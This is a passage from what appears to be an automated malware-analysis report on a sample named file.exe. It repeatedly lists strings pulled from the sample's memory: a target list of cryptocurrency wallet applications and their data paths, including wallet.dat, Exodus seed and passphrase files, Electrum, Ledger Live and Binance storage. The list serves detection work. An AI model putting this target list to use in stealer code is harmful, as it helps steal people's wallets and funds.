Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json*
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731453569.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local 